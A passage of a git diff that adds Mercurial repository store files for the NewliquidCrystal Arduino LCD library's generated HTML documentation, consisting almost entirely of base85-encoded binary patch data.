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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__l__c__d.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__l__c__d.js.i new file mode 100644 index 0000000000000000000000000000000000000000..75db56f2c5e9a5026ab11d02ceb1bba900a8952e GIT binary patch literal 1044 zcmV+v1nc_%0RRC20000000Yzj01A=-00000006cB|NsC0|NsBN)^EHj1avy07^t^; zMlcZ@RN#3400000000000001ZoQ0N8iySu)#qawmmd(`!NhPTyOb*HV=tBs;8MBn? zk9TnIw3(T8$hS{*ViSi|kDH+x80JT*>b+O`LZ@3^=zM-y9{53Sf4O;obL-Fh+q<{- zZ|+{*-hKD$&ySa<YSuUX)IA zm{ILr!_e&sz^skc8g9JEc~TjllrDPzxJT@MOlsDFymU1~OVG6YVX+FM_!qL^qjg81RpQBLpVlvW z|4;wkI($wg+2+u@L}DsAKtm|lr3)rblCM#(6dSrK2gaDRLH#4HBwKG!H2;@z*!Kud*WunOA`sSL%%`3}7 zReEcKlBCF~L~yB6^emg4cQxBHU#zgDT?2o)D!C8SD!CL%Fwz9I6Mz_-5Kx6C>TMgI zh3NU0lE1vrNhqAQiN0I+Rm~yh=4~h8REJ5c5Sn^ALbjaK2TSJ-XyIvC#}iQ+c%2ELg*TZsfVEO686CBa^BgeZN#b+wD7j0 zJt|8GDA~8xkTfPM=Hcs(;q`d&$?q6DqcfA5Va^cAZHal{c1OV)ZIZg*u=af9%VEz- zy6qe9nl-Mg=RU2n(@%5TBVg_^+K9RM1t&vb4x}@2%3eUFHWL!O@sKjj{Do O{{!B9c>OmAM<3`F2@aV6 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__l__c__d.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__l__c__d.png.i new file mode 100644 index 0000000000000000000000000000000000000000..7b7dfdf7ab6e2f72452afa8ae2f8454f62c51206 GIT binary patch literal 4536 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 